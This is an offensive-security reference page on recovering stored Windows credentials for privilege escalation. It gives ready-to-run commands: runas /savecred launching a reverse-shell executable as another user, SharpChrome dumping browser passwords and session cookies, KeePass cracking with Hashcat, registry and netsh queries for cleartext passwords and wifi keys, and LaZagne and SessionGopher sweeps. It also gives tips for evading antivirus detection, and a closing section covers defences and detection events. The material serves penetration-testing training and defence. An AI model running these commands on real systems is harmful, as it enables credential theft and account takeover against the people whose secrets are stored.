# Stored Credentials

> Extracting secrets that applications and Windows itself hold on a host - Windows Credential Manager (cmdkey plus runas /savecred), saved browser logins via SharpChrome/DPAPI, KeePass databases cracked offline with keepass2john and Hashcat, cleartext passwords in the registry (AutoLogon, PuTTY proxy), saved wireless keys, and the catch-all sweeps with LaZagne and SessionGopher. Reuse what you recover for a higher-privileged local or domain account.

<!-- Source: codex/windows/privesc/stored-credentials -->
<!-- Codex offensive-security reference - codex.athenaos.org -->

import { Aside } from '@astrojs/starlight/components';

## TL;DR

Beyond loose files ([credential hunting](/codex/windows/privesc/credential-hunting/)), applications and Windows itself keep secrets in structured stores - the Credential Manager, browser login databases, password managers, the registry, the wireless profile store. Some you can decrypt in your current user context (DPAPI does the work for you); some you crack offline; some you just *use* without ever seeing the plaintext. Any recovered secret is a candidate for reuse against a higher-privileged local or domain account.

```powershell
# Windows Credential Manager - list, then reuse without seeing plaintext
cmdkey /list
runas /savecred /user:DOMAIN\bob "C:\Windows\System32\cmd.exe /c <payload>"

# Saved browser logins (DPAPI, current user)
.\SharpChrome.exe logins /unprotect

# Registry cleartext
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"    # AutoLogon
reg query "HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions" /s                   # PuTTY proxy pw

# Saved wifi keys (local admin)
netsh wlan show profiles
netsh wlan show profile name="example_corp" key=clear

# Catch-all sweeps
.\lazagne.exe all
Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Target <host>
```

Success indicator: a cleartext credential (or a cracked password / usable saved session) that authenticates as a different, more-privileged principal - verified with `runas`, RDP, WinRM, or the target service.

## Windows Credential Manager (cmdkey / runas)

[`cmdkey`](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) lists credentials the user saved for other hosts - RDP targets, network shares, generic app logins. These are DPAPI-protected, so you don't get the plaintext from `cmdkey`, but you can **use** them:

```cmd
cmdkey /list
    Target: LegacyGeneric:target=TERMSRV/SQL01
    Type: Generic
    User: example\bob
```

Mind the entry *type* - it determines what you can do with it:

- A **`LegacyGeneric:target=TERMSRV/<host>`** entry is scoped to the RDP client (`mstsc`): connecting to that host auto-authenticates as the stored user. It is **not** an interactive-logon credential, so `runas /savecred` will *not* use it (that command still prompts for the password).
- A **`Domain:interactive=<DOMAIN>\<user>`** entry is the one `runas /savecred` looks up. When such an entry exists, you can reuse the saved secret to run anything as that user, no password needed:

```powershell
runas /savecred /user:example\bob "C:\Windows\System32\cmd.exe /c C:\temp\rev.exe"
```

So `cmdkey /list` showing only a `TERMSRV/...` entry buys you an RDP session as that user, not a `runas` shell - check which type you actually have.

To recover the actual plaintext (to reuse elsewhere), you need the user's DPAPI context - mimikatz `dpapi::cred` / `sekurlsa::dpapi`, or SharpDPAPI, as that user or as SYSTEM.

## Saved browser logins

Browsers have historically stored site logins encrypted with DPAPI (and, in later Chrome, an AES state key that is itself DPAPI-wrapped) - so a process running as the logged-in user could decrypt them. [SharpChrome](https://github.com/GhostPack/SharpDPAPI) (part of SharpDPAPI) handles the state-key unwrap and prints cleartext:

```powershell
.\SharpChrome.exe logins /unprotect
# --- Chrome Credential (Path: ...\User Data\Default\Login Data) ---
# origin_url,username,password
# https://vc01.example.local/,bob@example.local,Welcome1
```

`cookies /unprotect` similarly dumps session cookies (useful for session hijacking where the password has MFA).

<Aside type="caution">
**App-Bound Encryption breaks the simple path on current Chrome.** From Chrome 127 (2024) on supported Windows, cookies - and increasingly logins - are protected by App-Bound Encryption (ABE), which deliberately stops another process running as the *same user* from decrypting them through ordinary DPAPI. So the `/unprotect` flow above reliably recovers only **legacy DPAPI-backed stores** (older profiles, older Chromium builds, and some non-Chrome Chromium browsers); against a current Chrome profile you need ABE-aware tooling or to run in the browser's own context. Decrypting these stores is also not silent (it touches the DPAPI masterkey and the login DB), but see the detection note below - don't rely on a fixed list of event IDs.
</Aside>

## Password managers (KeePass, offline cracking)

Enterprise password managers - KeePass, 1Password, Thycotic, CyberArk - are high-value: a single vault, especially an IT or departmental one, can hand you admin over servers, network gear, and databases. KeePass stores its vault **locally** as a `.kdbx` file protected by a master password; find one on a host or share and you can crack it offline.

Extract the master-password hash with [`keepass2john`](https://github.com/openwall/john), then crack with [Hashcat](https://hashcat.net/) mode **13400**:

```shell
keepass2john EXAMPLE_Help_Desk.kdbx > keepass.hash
# EXAMPLE_Help_Desk:$keepass$*2*60000*222*...*...     ← note the "name:" prefix

# --username tells Hashcat to treat everything before the first ':' as a username
# and ignore it; without it, Hashcat rejects the line with "Signature unmatched"
hashcat -m 13400 --username keepass.hash /usr/share/wordlists/rockyou.txt
# ...$keepass$*2*60000*...:panther1          ← master password cracked
```

Open the vault with the cracked master password to recover everything inside. (A `.kdbx` protected additionally by a *key file* can't be cracked with the password alone - you need that file too; hunt for the `.key`/`.keyx` alongside it.)

## Cleartext passwords in the registry

Some Windows features and apps write passwords to the registry in cleartext. `LaZagne` finds these, but enumerate manually too.

### Windows AutoLogon

[AutoLogon](https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon) stores the auto-logon account's password in plaintext under a key **standard users can read**:

```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
    AutoAdminLogon    REG_SZ    1
    DefaultUserName   REG_SZ    student
    DefaultPassword   REG_SZ    Welcome1!
```

`AutoAdminLogon = 1` with a `DefaultPassword` present is the win. (Sysinternals `Autologon.exe` stores the password as an LSA secret instead of cleartext - so a host configured that way shows no `DefaultPassword` here, and the secret must be pulled from LSA.)

### PuTTY saved proxy credentials

A PuTTY session configured with a proxy saves the proxy username and password in cleartext under the configuring user's hive. Enumerate sessions, then read the one you want:

```powershell
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
    ProxyUsername    REG_SZ    administrator
    ProxyPassword    REG_SZ    S3cr3tP@ss!
```

These keys are ACL'd to the user who saved them - you see them in your own `HKCU`, or, as admin, under that user's hive in `HKEY_USERS`. Admins sometimes save *their own* credentials in a proxy config set up for a standard user, so the recovered password may be far more privileged than the host.

## Saved wireless keys

With local admin on a workstation that has a wireless adapter, recover pre-shared keys for networks it has joined - occasionally a route onto a separate corporate wireless segment:

```cmd
netsh wlan show profiles
netsh wlan show profile name="example_corp" key=clear
    ...
    Key Content   : EXAMPLEWIFI-CORP123908!
```

`key=clear` requires administrator; without it the key is withheld.

## Catch-all tool sweeps

When the targeted checks don't land, the broad tools sweep dozens of applications at once.

- **[LaZagne](https://github.com/AlessandroZ/LaZagne)** - `lazagne.exe all` pulls stored credentials from browsers, mail clients, databases, sysadmin tools, wifi, and Windows stores (Credman, DPAPI, LSA secrets, AutoLogon). Scope to a module (`lazagne.exe browsers`) to stay quieter. Output to text or JSON.
- **[SessionGopher](https://github.com/Arvanaghi/SessionGopher)** - `Invoke-SessionGopher` reads remote-access session data from the registry, but mind what it actually recovers: it **decrypts saved passwords for WinSCP, FileZilla, and SuperPuTTY**, whereas for **PuTTY and RDP it returns only session metadata** (host, and for RDP a username hint) - PuTTY doesn't store a password to recover. It reads the `HKEY_USERS` hives **currently loaded**, so as your own user it sees your sessions and as local admin it covers the profiles loaded at that moment, *not* every account that has ever logged on - a clean result isn't proof there are no saved sessions. Can also crawl drives for `.ppk`, `.rdp`, and `.sdtid` files.

  ```powershell
  Import-Module .\SessionGopher.ps1
  Invoke-SessionGopher -Target <hostname>      # local host is a valid target
  ```

- **[MailSniper](https://github.com/dafthack/MailSniper)** - on a domain-joined host with the user's Exchange mailbox, searches their email for "pass", "cred", etc. Mail is an underrated credential store.

<Aside type="note">
These tools are heavily signatured - rename, recompile, or fall back to the manual registry/file techniques above when AV/EDR detection is a concern. LaZagne in particular touches many sensitive stores and is loud.
</Aside>

## Defense

- Prefer Windows Hello for Business / managed identities over saved passwords; where Credential Manager is used, accept that any process as that user can reuse the entries.
- Never enable AutoLogon with a cleartext `DefaultPassword`; if auto-logon is unavoidable, use Sysinternals `Autologon.exe` (LSA secret) and restrict the account's rights.
- Protect KeePass vaults with a key file *and* a strong master password, and keep `.kdbx` files off shared/world-readable locations where they can be exfiltrated and cracked offline.
- Enforce strong wireless PSKs or move to 802.1X so a recovered key isn't a standing network credential.
- Credential-store access leaves telemetry only if you configure it: enable process-creation auditing **with command line** (Event ID 4688) to catch SharpChrome/LaZagne/SessionGopher invocations, enable the `Microsoft-Windows-Crypto-DPAPI/Debug` channel (Event ID 16385) for DPAPI masterkey use, and put a SACL on the browser `Login Data`/`Local State` files for object-access events. Treat these as signals to **correlate** - process creation near a DPAPI masterkey read near a login-DB open - not as standalone proof, and don't look for Event ID 4983 here (that's an IPsec negotiation failure, unrelated to credential access).

## Related

- [Credential hunting](/codex/windows/privesc/credential-hunting/) - the file-at-rest half of the same job (config files, history, Sticky Notes, shares)
- [Initial enumeration](/codex/windows/privesc/initial-enumeration/) - flags which browsers, password managers, and remote-access tools are installed to target here
- [SeDebugPrivilege](/codex/windows/privesc/sedebugprivilege/) - dumping live credentials from LSASS, the in-memory counterpart to these at-rest stores
- [Backup Operators](/codex/windows/privesc/backup-operators/) - extracting the local SAM for offline hash cracking